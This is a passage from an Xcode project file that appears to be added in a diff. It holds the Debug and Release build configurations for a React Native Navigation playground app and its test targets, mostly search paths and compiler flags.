"CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + CODE_SIGN_STYLE = Automatic; + DEAD_CODE_STRIPPING = YES; + DEVELOPMENT_TEAM = ""; + ENABLE_BITCODE = NO; + EXCLUDED_ARCHS = ""; + GCC_C_LANGUAGE_STANDARD = c17; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SRCROOT)/playground\"", + "\"${PODS_ROOT}/Headers/Public\"", + "\"${PODS_ROOT}/Headers/Public/DoubleConversion\"", + "\"${PODS_ROOT}/Headers/Public/React-Core\"", + "\"${PODS_ROOT}/Headers/Public/React-DevSupport\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTActionSheet\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTAnimation\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTBlob\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTImage\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTLinking\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTNetwork\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTSettings\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTText\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTVibration\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTWebSocket\"", + "\"${PODS_ROOT}/Headers/Public/React-cxxreact\"", + "\"${PODS_ROOT}/Headers/Public/React-fishhook\"", + "\"${PODS_ROOT}/Headers/Public/React-jsi\"", + "\"${PODS_ROOT}/Headers/Public/React-jsiexecutor\"", + "\"${PODS_ROOT}/Headers/Public/React-jsinspector\"", + "\"${PODS_ROOT}/Headers/Public/glog\"", + "\"${PODS_ROOT}/Headers/Public/yoga\"", + "$(PODS_ROOT)/Headers/Private", + ); + INFOPLIST_FILE = playground/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 12.4; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; + LIBRARY_SEARCH_PATHS = ( + "$(SDKROOT)/usr/lib/swift", + "$(inherited)", + "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", + ); + OTHER_CFLAGS = "$(inherited)"; + OTHER_LDFLAGS = ( + "$(inherited)", + "-ObjC", + "-lc++", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.rnn.playground; + PRODUCT_NAME = playground; + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_OBJC_BRIDGING_HEADER = "playground/playground-Bridging-Header.h"; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + SWIFT_VERSION = 5.0; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Debug; + }; + 13B07F951A680F5B00A75B9A /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 7F8E255E2E08F6ECE7DF6FE3 /* Pods-playground.release.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_IDENTITY = "Apple Development"; + "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + CODE_SIGN_STYLE = Automatic; + DEVELOPMENT_TEAM = ""; + ENABLE_BITCODE = NO; + EXCLUDED_ARCHS = ""; + GCC_C_LANGUAGE_STANDARD = c17; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "\"$(SRCROOT)/playground\"", + "\"${PODS_ROOT}/Headers/Public\"", + "\"${PODS_ROOT}/Headers/Public/DoubleConversion\"", + "\"${PODS_ROOT}/Headers/Public/React-Core\"", + "\"${PODS_ROOT}/Headers/Public/React-DevSupport\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTActionSheet\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTAnimation\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTBlob\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTImage\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTLinking\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTNetwork\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTSettings\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTText\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTVibration\"", + "\"${PODS_ROOT}/Headers/Public/React-RCTWebSocket\"", + "\"${PODS_ROOT}/Headers/Public/React-cxxreact\"", + "\"${PODS_ROOT}/Headers/Public/React-fishhook\"", + "\"${PODS_ROOT}/Headers/Public/React-jsi\"", + "\"${PODS_ROOT}/Headers/Public/React-jsiexecutor\"", + "\"${PODS_ROOT}/Headers/Public/React-jsinspector\"", + "\"${PODS_ROOT}/Headers/Public/glog\"", + "\"${PODS_ROOT}/Headers/Public/yoga\"", + "$(PODS_ROOT)/Headers/Private", + ); + INFOPLIST_FILE = playground/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 12.4; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; + LIBRARY_SEARCH_PATHS = ( + "$(SDKROOT)/usr/lib/swift", + "$(inherited)", + "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", + ); + OTHER_CFLAGS = "$(inherited)"; + OTHER_LDFLAGS = ( + "$(inherited)", + "-ObjC", + "-lc++", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.rnn.playground; + PRODUCT_NAME = playground; + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_OBJC_BRIDGING_HEADER = "playground/playground-Bridging-Header.h"; + SWIFT_VERSION = 5.0; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Release; + }; + 507C80E22429111F00F765F7 /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 4C14E49C47AA48BEDE90A218 /* Pods-SnapshotTests.debug.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "c++20"; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CODE_SIGN_STYLE = Automatic; + DEBUG_INFORMATION_FORMAT = dwarf; + GCC_C_LANGUAGE_STANDARD = c17; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "$(SRCROOT)/../../ios/**", + "$(SRCROOT)/NavigationTests", + ); + INFOPLIST_FILE = SnapshotTests/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + PRODUCT_BUNDLE_IDENTIFIER = rn.SnapshotTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + TARGETED_DEVICE_FAMILY = "1,2"; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; + }; + name = Debug; + }; + 507C80E32429111F00F765F7 /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = DC6478E8C795582800285530 /* Pods-SnapshotTests.release.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "c++20"; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CODE_SIGN_STYLE = Automatic; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + GCC_C_LANGUAGE_STANDARD = c17; + HEADER_SEARCH_PATHS = ( + "$(inherited)", + "$(SRCROOT)/../../ios/**", + "$(SRCROOT)/NavigationTests", + ); + INFOPLIST_FILE = SnapshotTests/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; + LIBRARY_SEARCH_PATHS = ( + "$(SDKROOT)/usr/lib/swift", + "$(inherited)", + "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/OCMock\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", + ); + MTL_FAST_MATH = YES; + PRODUCT_BUNDLE_IDENTIFIER = rn.SnapshotTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + TARGETED_DEVICE_FAMILY = "1,2"; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; + }; + name = Release; + }; + 50996C6423AA46DD00008F89 /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = C9E7FB91365E7BEF959ADB5F /* Pods-NavigationIOS12Tests.debug.xcconfig */; + buildSettings = { + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CODE_SIGN_STYLE = Automatic; + DEBUG_INFORMATION_FORMAT = dwarf; + GCC_C_LANGUAGE_STANDARD = gnu11; + INFOPLIST_FILE = NavigationIOS12Tests/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 12.0; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; + MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; + MTL_FAST_MATH = YES; + PRODUCT_BUNDLE_IDENTIFIER = rn.NavigationIOS12Tests; + PRODUCT_NAME = "$(TARGET_NAME)"; + TARGETED_DEVICE_FAMILY = "1,2"; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; + }; + name = Debug; + }; + 50996C6523AA46DD00008F89 /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 4AE37ACF6BFBAB211EE8E7E9 /* Pods-NavigationIOS12Tests.release.xcconfig */; + buildSettings = { + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; + CLANG_ENABLE_OBJC_WEAK = YES; + CLANG_WARN_DOCUMENTATION_COMMENTS = YES; + CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; + CODE_SIGN_STYLE = Automatic; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + GCC_C_LANGUAGE_STANDARD = gnu11; + INFOPLIST_FILE = NavigationIOS12Tests/Info.plist; + IPHONEOS_DEPLOYMENT_TARGET = 12.0; + LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; + LIBRARY_SEARCH_PATHS = ( + "$(SDKROOT)/usr/lib/swift", + "$(inherited)", + "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/OCMock\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", + "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", + ); + MTL_FAST_MATH = YES; + PRODUCT_BUNDLE_IDENTIFIER = rn.NavigationIOS12Tests; + PRODUCT_NAME = "$(TARGET_NAME)"; + TARGETED_DEVICE_FAMILY = "1,2"; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; + }; + name = Release; + }; + 83CBBA201A601CBA00E9B192 /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; + CLANG_CXX_LANGUAGE_STANDARD = "c++20"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + COPY_PHASE_STRIP = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + "EXCLUDED_ARCHS[sdk=iphonesimulator*]" = i386; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + "USE_HERMES=1", + ); + GCC_SYMBOLS_PRIVATE_EXTERN = NO; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 11.0; + MTL_ENABLE_DEBUG_INFO = YES; + ONLY_ACTIVE_ARCH = YES; + OTHER_CFLAGS = ( + "$(inherited)", + "-DRN_FABRIC_ENABLED", + "-DRCT_REMOVE_LEGACY_ARCH=1", + ); + OTHER_CPLUSPLUSFLAGS = ( + "$(inherited)", + "-DRN_FABRIC_ENABLED", + "-DRCT_REMOVE_LEGACY_ARCH=1", + ); + OTHER_LDFLAGS = ""; + REACT_NATIVE_PATH = "${PODS_ROOT}/../../node_modules/react-native"; + SDKROOT = iphoneos; + SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited) DEBUG"; + SWIFT_ENABLE_EXPLICIT_MODULES = NO; + USE_HERMES = true; + }; + name = Debug; + }; + 83CBBA211A601CBA00E9B192 /* Release */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; + CLANG_CXX_LANGUAGE_STANDARD = "c++20"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + COPY_PHASE_STRIP = YES; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + "EXCLUDED_ARCHS[sdk=iphonesimulator*]" = i386; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_NO_COMMON_BLOCKS = YES; + GCC_PREPROCESSOR_DEFINITIONS = "USE_HERMES=1"; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 11.0; + MTL_ENABLE_DEBUG_INFO = NO; + OTHER_CFLAGS = ( + "$(inherited)", + "-DRN_FABRIC_ENABLED", + "-DRCT_REMOVE_LEGACY_ARCH=1", + ); + OTHER_CPLUSPLUSFLAGS = ( + "$(inherited)", + "-DRN_FABRIC_ENABLED", + "-DRCT_REMOVE_LEGACY_ARCH=1", + ); + OTHER_LDFLAGS = ""; + REACT_NATIVE_PATH = "${PODS_ROOT}/../../node_modules/react-native"; + SDKROOT = iphoneos; + SWIFT_ENABLE_EXPLICIT_MODULES = NO; + USE_HERMES = true; + VALIDATE_PRODUCT = YES; + }; + name = Release; + }; + E58D2622238587F4003F36BA /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 4259AF43A23D928FE78B4A3A /* Pods-NavigationTests.debug.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CLANG_ANALYZER_NONNULL = YES; + CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; + 